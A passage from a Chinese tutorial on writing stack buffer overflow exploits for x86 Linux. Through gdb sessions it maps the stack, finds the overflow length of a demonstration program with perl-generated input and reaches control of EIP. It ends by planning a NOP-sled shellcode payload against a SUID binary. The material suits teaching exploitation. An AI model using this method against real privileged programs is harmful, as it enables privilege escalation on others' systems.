如何编写自己的缓冲区溢出利用程序(下)(转)

如何编写自己的缓冲区溢出利用程序(下)(转)
(续)
by 黑猫(virtualcat@hotmai.com)

值得注意的是: 如果象上面所说的, 我们输入的字串长度为二十个'A'--刚好复盖完0xbffff6b0
所指的单元, 那么此时从栈中弹出给eip的内容将是0x41414141, 而不是0x8048443, 程序
将跳到0x41414141去执行那里的指令, 由于0x41414141对于当前进程来说是不可访问的,
所以导致段出错(Segmentation fault), 进程停止执行.

这是我们的第三个焦点.

如果我们能计算好位移(offset), 用我们准备好的代码的入口地址来覆盖0xbffff6b0所
指的单元, 那么从栈中弹出给eip的内容就是我们的代码的入口地址, 程序将跳到我们的
代码去继续执行.

分析到这里, 我们已经清楚了C语言函数调用的机制了. main函数的后续指令对于我们的
分析已无关紧要. 但是为了保持文章的完整, 我们继续再往下看看.

此时栈的情况:
(gdb) x/10x $esp
0xbffff6b4: 0xbffff856 0xbffff6d8 0x400349cb 0x00000002
0xbffff6c4: 0xbffff704 0xbffff710 0x40013868 0x00000002
0xbffff6d4: 0x08048350 0x00000000

进程在内存中的相关影像:

(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ |08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ |bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ |bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+ |08048443| (垃圾) vulFunc函数的返回地址
0xbffff6b0 +--------+
|bffff6b8| (垃圾) main函数的ebp
0xbffff6ac +--------+
|bffff600| (垃圾)
0xbffff6a8 +--------+
|41414141| (垃圾)
0xbffff6a4 +--------+
|41414141| (垃圾)
0xbffff6a0 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+
| ...... |
(内存低址)


再看看后续的指令做了些什么?
0x8048443 : add $0x4,%esp ; 抛弃栈中为被调用函数准备的参数.
0x8048446 : jmp 0x804845b ; 跳转到0x804845b继续执行
0x8048448 : mov 0xc(%ebp),%eax ; 0x8048433 jne的条件判断跳转
; 入口(即argc!=2的情况)
; 把ebp+0xc所指向的内存单元的
; 内容赋给eax, 从上面的分析我
; 们知道里面放的是argv的地址
0x804844b : mov (%eax),%edx ; 把eax指向的地址的内存单元里
; 的内容赋给edx, 我们知道argv
; 是个数组, argv的值就是argv[0]
0x804844d : push %edx ; 把argv[0]入栈. 注意这里的
; argv[0]其实是个地址值.
0x804844e : push $0x80484bb ; 把常数0x80484bb入栈
; 以上为调用printf函数准备参数.
0x8048453 : call 0x8048330 ; 调用printf函数
0x8048458 : add $0x8,%esp ; 抛弃为调用printf函数准备的参数
0x804845b : leave ; 恢复调用main函数的函数的栈帧
0x804845c : ret ; 返回到调用main函数的函数

估计0x80484bb指向的是printf函数的format字串, 看看是不是?
(gdb) x/1s 0x80484bb
0x80484bb <_io_stdin_used>: "Usage: %s "
果然是. 那从0x8048448到0x8048458这段指令就是C语言
printf("Usage: %s ", argv[0]);
的等价汇编语句了.

我们把断点设到0x804845b, 再继续执行.
(gdb) b *0x804845b
Breakpoint 6 at 0x804845b
(gdb) c
Continuing.

Breakpoint 6, 0x804845b in main ()

下一条指令是leave, 应该是恢复调用函数的函数的栈帧.
单步执行一下, 看看寄存器及栈的情况.
(gdb) si
0x804845c in main ()
(gdb) i reg
eax 0x10 16
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff6bc -1073744196
ebp 0xbffff6d8 -1073744168
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x804845c 134513756
eflags 0x386 902
(以下省略)
...

(gdb) x/8x $esp
0xbffff6bc: 0x400349cb 0x00000002 0xbffff704 0xbffff710
0xbffff6cc: 0x40013868 0x00000002 0x08048350 0x00000000

下一条指令是ret, 我们知道栈顶放的是main函数的返回地址(0x400349cb).

此时进程在内存中的相关影像:

(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ |08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb| main函数的返回地址
0xbffff6bc +--------+ |bffff6d8| (垃圾) 调用main函数前的ebp
0xbffff6b8 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| (垃圾) vulFunc函数的返回地址
0xbffff6b0 +--------+
|bffff6b8| (垃圾) main函数的ebp
0xbffff6ac +--------+
|bffff600| (垃圾)
0xbffff6a8 +--------+
|41414141| (垃圾)
0xbffff6a4 +--------+
|41414141| (垃圾)
0xbffff6a0 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+
| ...... |
(内存低址)

再单步执行, 返回到调用main函数的函数
(gdb) si
0x400349cb in __libc_start_main (main=0x804842c , argc=2, argv=0xbffff704, init=0x80482c0 <_init>,
fini=0x804848c <_fini>, rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffff6fc)
at ../sysdeps/generic/libc-start.c:92
92 ../sysdeps/generic/libc-start.c: No such file or directory.

原来是 __libc_start_main 函数调用了我们的main函数, 看来和概述里说的有些出入,
但这对于我们来讲不是很重要. 如果想看源码, 请到../sysdeps/generic/libc-start.c
文件中找.
(gdb) x/16x $esp
0xbffff6c0: 0x00000002 0xbffff704 0xbffff710 0x40013868
0xbffff6d0: 0x00000002 0x08048350 0x00000000 0x08048371
0xbffff6e0: 0x0804842c 0x00000002 0xbffff704 0x080482c0
0xbffff6f0: 0x0804848c 0x4000ae60 0xbffff6fc 0x40013e90

从上面可以看到, stack_end=0xbffff6fc, 也就是说我们的进程的栈底地址为0xbffff6fc,
在调用__libc_start_main函数前依次推了如下七个参数入栈:
0xbffff6fc -> 进程的栈底
0x4000ae60 -> _dl_fini函数的人口地址.
0x0804848c -> _fini函数的入口地址
0x080482c0 -> _init函数的入口地址
0xbffff704 -> argv命令行参数地址的地址
0x00000002 -> argc命令行参数个数值
0x0804842c -> 我们的main函数入口

从上面的分析可推出, 在内存地址0xbffff6dc的内容0x08048371就是__libc_start_main函数
的返回地址了.
我们来看看是什么函数调用了__libc_start_main.
(gdb) disas 0x08048371
Dump of assembler code for function _start:
0x8048350 <_start>: xor %ebp,%ebp
0x8048352 <_start>: pop %esi
0x8048353 <_start>: mov %esp,%ecx
0x8048355 <_start>: and $0xfffffff8,%esp
0x8048358 <_start>: push %eax
0x8048359 <_start>: push %esp
0x804835a <_start>: push %edx
0x804835b <_start>: push $0x804848c
0x8048360 <_start>: push $0x80482c0
0x8048365 <_start>: push %ecx
0x8048366 <_start>: push %esi
0x8048367 <_start>: push $0x804842c
0x804836c <_start>: call 0x8048320 <__libc_start_main>
0x8048371 <_start>: hlt
0x8048372 <_start>: nop
0x8048373 <_start>: nop
(省略以下的nop)
End of assembler dump.

原来是_start函数调用了__libc_start_main函数.
至于_start函数调用__libc_start_main函数后, 接是如何调用_init函数和_dl_runtime_resove
函数来调用共享库函数和我们的main函数然后退出的, 已经远远脱离了本文的主题, 这里不再继
续介绍.

(gdb) x/1024x 0xbffff6f0
0xbffff6f0: 0x0804848c 0x4000ae60 0xbffff6fc 0x40013e90
0xbffff700: 0x00000002 0xbffff83e 0xbffff856 0x00000000
0xbffff710: 0xbffff85f 0xbffff881 0xbffff88f 0xbffff89e
0xbffff720: 0xbffff8c4 0xbffff8d2 0xbffff900 0xbffff91a
0xbffff730: 0xbffff932 0xbffff94d 0xbffff9a8 0xbffff9df
0xbffff740: 0xbffffaf3 0xbffffb06 0xbffffb11 0xbffffb31
0xbffff750: 0xbffffb5a 0xbffffb68 0xbffffc72 0xbffffc7e
0xbffff760: 0xbffffc8f 0xbffffca4 0xbffffcb4 0xbffffcbf
0xbffff770: 0xbffffcd7 0xbffffcf5 0xbffffd0e 0xbffffd19
0xbffff780: 0xbffffd23 0xbffffd6c 0xbffffd79 0xbffffda0
0xbffff790: 0xbffffdb2 0xbffffdc1 0xbffffde6 0xbffffe08
0xbffff7a0: 0xbffffe10 0xbfffffd3 0x00000000 0x00000003
0xbffff7b0: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffff7c0: 0x00000006 0x00000006 0x00001000 0x00000007
0xbffff7d0: 0x40000000 0x00000008 0x00000000 0x00000009
0xbffff7e0: 0x08048350 0x0000000b 0x000001f5 0x0000000c
0xbffff7f0: 0x000001f5 0x0000000d 0x00000004 0x0000000e
0xbffff800: 0x00000004 0x00000010 0x008001bf 0x0000000f
0xbffff810: 0xbffff839 0x00000000 0x00000000 0x00000000
0xbffff820: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff830: 0x00000000 0x00000000 0x38356900 0x682f0036
0xbffff840: 0x2f656d6f 0x65776f74 0x74742f72 0x2f737775
0xbffff850: 0x2f6c6469 0x41410070 0x41414141 0x4c004141
0xbffff860: 0x4f535345 0x3d4e4550 0x73752f7c 0x69622f72
...
(省略)
...
0xbfffffd0: 0x54003a35 0x75413d5a 0x61727473 0x2f61696c
0xbfffffe0: 0x0057534e 0x6d6f682f 0x6f742f65 0x2f726577
0xbffffff0: 0x77757474 0x64692f73 0x00702f6c 0x00000000
0xc0000000: Cannot access memory at address 0xc0000000

我们知道内存单元0xbffff704放的是指argv[0]的地址, 那么0xbffff708放的就是argv[1]
的地址了. 0xbffff700里放的是argc的值.

那么0xbffff710里放的是什么呢? 看样子象是指向字符串的地址, 让我们来看看.
(gdb) x/1s 0xbffff85f
0xbffff85f: "LESSOPEN=|/usr/bin/lesspipe.sh %s"
(gdb)
0xbffff881: "HISTSIZE=1000"
...

再看看最后一个.
(gdb) x/1s 0xbfffffd3
0xbfffffd3: "TZ=Australia/NSW"
0xc0000000以后的地址空间已不是进程能合法访问的了.

原来都是些SHELL的环境变量字符串.

这一片东西是从内存地址0xbffff839开始的, 让我们再看看.
(gdb) x/1s 0xbffff839
0xbffff839: "i586"
(gdb)
0xbffff83e: "/home/vcat/p" ===> 细心的朋友会发现这里已被俺改掉了,
让俺保留一点私隐吧 ;)
(gdb)
0xbffff856: "AAAAAAAA"
(gdb)
0xbffff85f: "LESSOPEN=|/usr/bin/lesspipe.sh %s"
...

我们得出结论: 0xbffff700放的是argc的值; 0xbffff704放的是argv[0]的地址,
0xbffff708放的是argv[1]的地址; 0xbffff710--0xbffffa4放的是指向各个环境变量
字符串起始地址的指针; 从内存地址0xbffff839开始依次存放的是: 系统平台信息字
串; 命令行字串; 环境变量字串.

至于0xbffff7a8--0xbffff838里放的是什么, 还有待研究. 由于对本文不是至关重要,
暂时放一下.

分析到这, 我们来组合一下进程在内存的影像:

(内存高址)

| ...... | ...省略了一些我们不需要关心的区
+--------+
|00000000|
0xbffffffc +--------+
| ...... |

| ...... |
0xbffff844 +--------+ 系统平台信息串(如:"i586")和命令行参数及环境变量字串
|2f656d6f| /
0xbffff840 +--------+ /
|682f0036| /
0xbffff83c +--------+ /
|38356900|/ --&gt 从内存地址0xbffff839开始, 0x69353836="i586"
0xbffff838 +--------+
| ...... |
里面放的是什么? 还有待研究
| ...... |/
0xbffff7a8 +--------+
|bfffffd3|
0xbffff7a4 +--------+
| ...... |
...... 环境变量指针
| ...... | /
0xbffff714 +--------+ /
|bffff85f|/
0xbffff710 +--------+
|00000000|
0xbffff70c +--------+
|bffff856| argv[1]的地址
0xbffff708 +--------+
|bffff83e| argv[0]的地址
0xbffff704 +--------+
|00000002| argc的值
0xbffff700 +--------+
|40013e90| ???? (和_dl_starting_up函数有关)
0xbffff6fc +--------+ |bffff6fc| stack_end(进程的栈底)
0xbffff6f8 +--------+
|4000ae60| _dl_fini函数入口地址
0xbffff6f4 +--------+
|0804848c| _fini函数入口地址
0xbffff6f0 +--------+
|080482c0| _init函数入口地址
0xbffff6ec +--------+
|bffff704| argv地址的地址
0xbffff6e8 +--------+
|00000002| argc的值
0xbffff6e4 +--------+
|0804842c| main函数的入口地址
0xbffff6e0 +--------+
|08048371| __libc_start_main的返回地址(指令hlt), 正常情况不会返回到这.
0xbffff6dc +--------+
|00000000|
0xbffff6d8 +--------+ |08048350| _start函数的入口地址
+--------+
|00000002| argc的值
+--------+
|40013868| ????
+--------+
|bffff710| 环境变量指针的地址
+--------+
|bffff704| argv地址的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb| main函数的返回地址
0xbffff6bc +--------+ |bffff6d8| (垃圾) 调用main函数前的ebp
0xbffff6b8 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| (垃圾) vulFunc函数的返回地址
0xbffff6b0 +--------+
|bffff6b8| (垃圾) main函数的ebp
0xbffff6ac +--------+
|bffff600| (垃圾)
0xbffff6a8 +--------+
|41414141| (垃圾)
0xbffff6a4 +--------+
|41414141| (垃圾)
0xbffff6a0 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+
| ...... |
(内存低址)

通过以上的分析, 我们对C语言函数调用的机制和程序在内存中运行情况就了解得差不多了.
基础打好了, 想进步就容易多了, 想干什么都可以随心所欲.

iii) 小结
a) 32位机器的内存分配是以4个字节为单元的.
b) 指令: push %寄存器(32位)
相当于esp=esp-4, 然后把寄存器里的值存放到esp所指的4个字节的内存单元里.
c) 指令: pop %寄存器(32位)
相当于把esp所指向的内存单元的值赋给所指定的寄存器, 然后esp=esp+4.
d) 函数调用时所建立的栈帧的内存空间并没有清零, 而是沿用了以前调用其它函数时所余
留下来的数据, 这就是编程时如果没有初始化局部变量, 该变量的初始值不一定为零的
原因.
e) main函数被调用前的栈的内容和概述里描述的有出入--概述只是个一般性的描述, 对不
同的平台要具体分析.
f) 在Linux x86平台, 调用函数所传给被调用函数的参数是由调用函数人栈的, 存放在调用
函数的栈帧里;
被调用函数返回后, 由调用函数负责把入栈的参数从栈中弹出.
g) 参数的入栈顺序由右向左. 即: 函数最右边的参数最先入栈, 依次到最左边的.
h) 被调用函数对参数和局部变量的访问遵循如下原则:
以被调用函数的ebp为分界线, ebp+n*4(n>=2)为对被传给它的参数的引用;
ebp-n*4(n>=1)为对局部变量的引用.

如下图所示:

(内存高址)
| ...... | 参数m(m>=1)
+--------+ ebp+(m+1)*4
| ...... |
+--------+
|PPPPPPPP| 参数3
+--------+ ebp+16
|PPPPPPPP| 参数2
+--------+ ebp+12
|PPPPPPPP| 参数1
+--------+ ebp+8
|返回地址|
+--------+ ebp+4
| ebp |
+--------+ |LLLLLLLL| 局部变量内存单元1
+--------+ ebp-4
|LLLLLLLL| 局部变量内存单元2
+--------+ ebp-8
| ...... |
+--------+
| ...... | 局部变量内存单元m
+--------+ ebp-m*4
| ...... |
(内存低址)

i) 进入被调用函数时的
push %ebp
mov %esp, %ebp
这两条指令实现了对调用函数的栈帧栈底的保存和把调用函数的栈顶做为被调用函数
的栈底.
j) 被调用函数返回前的指令leave实现了i)中的相反的动作.
即: 被调用函数返回前恢复调用函数的栈帧.
相当于
mov %ebp, %esp
pop %ebp
也就是, 把被调用函数的ebp的值赋给esp--当前(被调用函数)的栈底做为新的栈顶;
把新栈顶的内容弹出做为栈底--从而完成了调用函数栈帧的恢复.


2) 溢出分析
我们假装一下有这样的情况: 怀疑系统有一个SUID的可执行文件p可能有问题, 我们知道它接收
命令行提供给它的字串然后在屏幕上显示出来.
有时假装真的很难做到, 尤其对于我们这些"菜鸟"来讲. "高手"就不一样了, 往往会把简单的问
题越说越复杂, 以显高手本色. ;)

如何发现缓冲区溢出的触发条件? 这不仅是烦琐的, 而且也是个复杂的劳动, 所以要有方法. 碰
运气发现的情况是有的, 但我们要的是方法论. 如果能有好的方法再加上运气, 那就再好不过了.

那什么样的方法好呢? 我们就以最笨的"菜鸟"方法吧. 我们来"土法炼钢" ... 看看成不成? ;)

我们知道命令p接收命令行的字串. 我们也知道在编程时, 一般习惯缓冲区大小定义为1024, 512,
256, 64, ... 好, 那我们就用二分法来步步逼进, 去找一下.

bash$ ./p `perl -e 'print "A"x1025'`
String=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA
Segmentation fault (core dumped)

哈! 段出错. 溢出了.
我们要找的是最短的串使命令p溢出的情况. 继续 ...
bash$ ./p `perl -e 'print "A"x513'`
String=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
Segmentation fault (core dumped)

...
...
...

bash$ ./p `perl -e 'print "A"x17'`
String=AAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

bash$ ./p `perl -e 'print "A"x9'`
String=AAAAAAAAA
字串长度等于9没有溢出.

bash$ ./p `perl -e 'print "A"x13'`
String=AAAAAAAAAAAAA
Segmentation fault (core dumped)
字串长度等于13溢出了.

bash$ ./p `perl -e 'print "A"x11'`
String=AAAAAAAAAAA
字串长度等于11没有溢出.

bash$ ./p `perl -e 'print "A"x12'`
String=AAAAAAAAAAAA
Segmentation fault (core dumped)
字串长度等于12时, 刚好溢出.

所以, 字串长度大于等于12是溢出触发条件.

让我们来分析一下这个Segmentation fault段出错的core文件.
bash$ gdb -c core p
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
Core was generated by `./p AAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xd790266 in ?? ()
(gdb) bt
#0 0xd790266 in ?? ()
#1 0x4001407c in ?? ()
#2 0x3 in ?? ()
#3 0x400144e8 in ?? ()
(gdb) i reg
eax 0x14 20
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff608 -1073744376
ebp 0x400146ec 1073825516
esi 0x4000ae60 1073786464
edi 0xbffff734 -1073744076
eip 0xd790266 226034278
eflags 0x10286 66182
(以下省略)
...

进程运行到eip=0xd790266时退出了.

我们看一下
(gdb) x/x 0x4010a980
0x4010a980 <_io_2_1_stdout_>: 0xfbad2a84
(gdb) x/x 0x4010c1ec
0x4010c1ec: 0x000f0c84
(gdb) x/x 0xbffff608
0xbffff608: 0xbffff68c
(gdb) x/x 0x400146ec
0x400146ec: 0x4001407c
(gdb) x/x 0x4000ae60
0x4000ae60 <_dl_fini>: 0x83e58955
(gdb) x/x 0xbffff734
0xbffff734: 0xbffff86c
(gdb) x/x 0xd790266
0xd790266: Cannot access memory at address 0xd790266
(gdb) disas 0xd790266
No function contains specified address.

相关寄存器(edx, ebx, esp, ebp, esi, edi)所指向的地址的内存单元是可以访问的, 除了
eip所指的地址不可访问. 所以是eip导致了段出错.

我们来看看这时栈里面的相关内容.
这时的esp指向0xbffff608, 从上面的分析可知这是从栈里面弹出返回地址后的栈顶, 我们把附近
的内存内容列出来看一下.
(gdb) x/64x $esp-32
0xbffff5e8: 0x400144e8 0x00000003 0x40014758 0x00000001
0xbffff5f8: 0xbffff610 0x40025df0 0x400146ec 0x0d790266
0xbffff608: 0xbffff68c 0x4002d82c 0x40025df0 0x400144e8
0xbffff618: 0x400140d4 0x077905a6 0xbffff6a4 0x080481fd
0xbffff628: 0x4001f630 0x400144e8 0x400140d4 0x078e530f
0xbffff638: 0xbffff6bc 0x0804823d 0x40025ca0 0x400144e8
0xbffff648: 0xbffff6cc 0x4002a1a6 0x40022ad0 0x400144e8
0xbffff658: 0xbffff690 0x4000a7fd 0x400144d8 0x400147b8
0xbffff668: 0x00000007 0x4000a74e 0x4010c1ec 0x4000ae60
0xbffff678: 0xbffff734 0x400144e8 0x40025df0 0x4010c8c0
0xbffff688: 0x4002d82c 0x40025df0 0xbffff6c0 0x4000a970
0xbffff698: 0xbffff87d 0xfffffe5f 0x40061920 0x400144e8
0xbffff6a8: 0xbffff6c0 0x4006a070 0x4010a980 0x080484b0
0xbffff6b8: 0xbffff6d0 0x4010c1ec 0xbffff6dc 0x08048424
0xbffff6c8: 0x080484b0 0xbffff6d0 0x41414141 0x41414141
0xbffff6d8: 0x41414141 0xbffff600 0x08048443 0xbffff870

在0xbffff604处正是当前eip的值, 0xbffff600处正是当前ebp的值.
从前面我们得到的结论, 可以推出0xbffff600这个地址值就是被调用函数返回前的栈顶esp所
指向的内存单元的内容, 被调用函数中的leave指令把当时的esp所指向的内存单元的内容
(0xbffff600)弹出来做了调用(当前)函数的栈底.

我们来查看一下在附近的内存中哪里有这个值--0xbffff600

哈! "远在天边, 近在眼前", 就在我们的视野里--最后一行的第二个内存单元, 省了我们再找.

它的前面(内存低地址)就是我们输入的那十二个可爱的"A", 那么紧接在它的后面(内存高地址)
的内存单元里的内容0x08048443就是被调用函数的返回地址了.

我们反汇编来看看是什么来的.
(gdb) disas 0x08048443
Dump of assembler code for function main:
0x804842c : push %ebp
0x804842d : mov %esp,%ebp
0x804842f : cmpl $0x2,0x8(%ebp)
0x8048433 : jne 0x8048448
0x8048435 : mov 0xc(%ebp),%eax
0x8048438 : add $0x4,%eax
0x804843b : mov (%eax),%edx
0x804843d : push %edx
0x804843e : call 0x8048400
0x8048443 : add $0x4,%esp
0x8048446 : jmp 0x804845b
0x8048448 : mov 0xc(%ebp),%eax
0x804844b : mov (%eax),%edx
0x804844d : push %edx
0x804844e : push $0x80484bb
0x8048453 : call 0x8048330
0x8048458 : add $0x8,%esp
0x804845b : leave
0x804845c : ret
0x804845d : nop
0x804845e : nop
0x804845f : nop
End of assembler dump.

嘻嘻... 那是我们的main函数. 噢! 怎么忘了我们在假装呢? :( 不行不行, 继续假装 ;)

原来是main函数调用了vulFunc, 然后main函数自己返回的时候出了问题. 那么问题究竞出在哪了?

我们再次看一下0xbffff600这个值, 参照刚才列出来的内存内容可以看出那个最低位字节的00
其实就是我们的字串的零结尾字符0. 也就是说, 我们输入的字串的零结尾字符复盖了栈中保存
的调用函数main的ebp的最低字节. 换句话来说, 如果调用函数ebp原来的值为0xbffff600, 则什
么事都没有; 如果原来的值为0xbffff6XX, 则轮到main函数恢复它的调用函数的栈帧时, 0xbffff600
就变成了该函数的栈顶esp, 从里面弹出来的ebp和返回地址就不对了(如我们现在的情况).
同时我们也知道一个字节--8位, 其最大值为FF--255, 如果缓冲区的大小大于或等于256, 那么
这个0xbffff600就有可能指向缓冲区内, 这里存在着另外一种利用的契机. 但是发生的概率太小
了, 这里不再继续讨论.

如果我们把输入字串加多4个字节(16个"A"), 那么在内存地址0xbffff6e0处的返回地址0x08048443
将会变为0x08048400, 我们对这个地址的内容反汇编还看看.
(gdb) disas 0x08048400
Dump of assembler code for function vulFunc:
0x8048400 : push %ebp
0x8048401 : mov %esp,%ebp
0x8048403 : sub $0xc,%esp
0x8048406 : mov 0x8(%ebp),%eax
0x8048409 : push %eax
0x804840a : lea 0xfffffff4(%ebp),%eax
0x804840d : push %eax
0x804840e : call 0x8048340
0x8048413 : add $0x8,%esp
0x8048416 : lea 0xfffffff4(%ebp),%eax
0x8048419 : push %eax
0x804841a : push $0x80484b0
0x804841f : call 0x8048330
0x8048424 : add $0x8,%esp
0x8048427 : leave
0x8048428 : ret
0x8048429 : lea 0x0(%esi),%esi
End of assembler dump.

这个地址刚好是vulFunc函数的入口, 也就是说vulFunc函数会再次被调用后出错.
不信的话, 可以试试.
bash$ ./p `perl -e 'print "A"x16'`
看输出什么了.

再用多4个字节, 就会完全用41414141来复盖返回地址了.
bash$ ./p `perl -e 'print "A"x20'`
String=AAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
bash$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./p AAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141
(gdb) i reg
eax 0x1c 28
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff6d4 -1073744172
ebp 0x41414141 1094795585
esi 0x4000ae60 1073786464
edi 0xbffff724 -1073744092
eip 0x41414141 1094795585
eflags 0x10296 66198
(以下省略)

看到"金光闪闪"的41414141在eip里了.

所以要想复盖返回地址, 应该在缓冲区的第16个位置开始填入4个字节的返回地址值.

有时候"土法"的确是可以炼出"钢"来的 ;)

知道了这个后, 就得看看如何利用了.

3) 如何攻击?
我们已经知道应该把返回地址的值放在字串中那个位置就可以复盖eip了.
但我们还有一件很关键的事没有做--就是如何确定我们要复盖的返回地址的值?--即: 用什么值去复盖?
而这个值一定要指向我们准备好的shell code的人口.

shell code在Internet上有很多, 我们就随便拿一个好一点的来用就行了, 没必要自己去写,
除非不得已.

这个shell code是要做为我们输入的字符串的一部分提供给命令p的.

我们也知道当一个进程在运行时, 其在相同的shell环境(包括命令行参数)下, 在程序中的某个
地方的esp的值是不变的. 我们只要找出这个值, 以它做为基准, 然后再根据调试时得出的结果
来计算出我们要填的返回地址就可以了.

我们同时也应该知道, 由于我们是在exploit程序中用exec系列函数来调用命令p的, 当exec系列
函数调用成功时, 我们的exploit程序进程的内存影像就完全被命令p的进程内存影像所替代了.
这一点一定要弄清楚, 因为我们是"低手", 所以要弄明白.

换句话来说, 我们在exploit程序的进程里得到的esp根本就不是p程序进程运行时的esp,
虽然它们之间的差相对来说是稳定的.
而且我们根本没法在命令p的进程运行时得到esp的值, 我们只能根据exploit程序的进程的esp值来
猜, 即: 根据它来猜出我们提供给命令p的shell code在命令p运行时的进程内存空间中的位置,
也就是在p进程中存放shell code的起始地址--我们的入口. 而这种猜, 是通过调试来完成的.
为了提高中标机会, 我们在入口的前面要尽量填上足够多的NOP, 把面放大一点, 就容易中了.

我们设计的缓冲区内容为如下形式:

(内存低址) ...[16个非零字符(就用0x41吧)][返回地址(4个字节)][若干个0x90(NOP)][shellcode]... (内存高址)
| ^
|____________________|

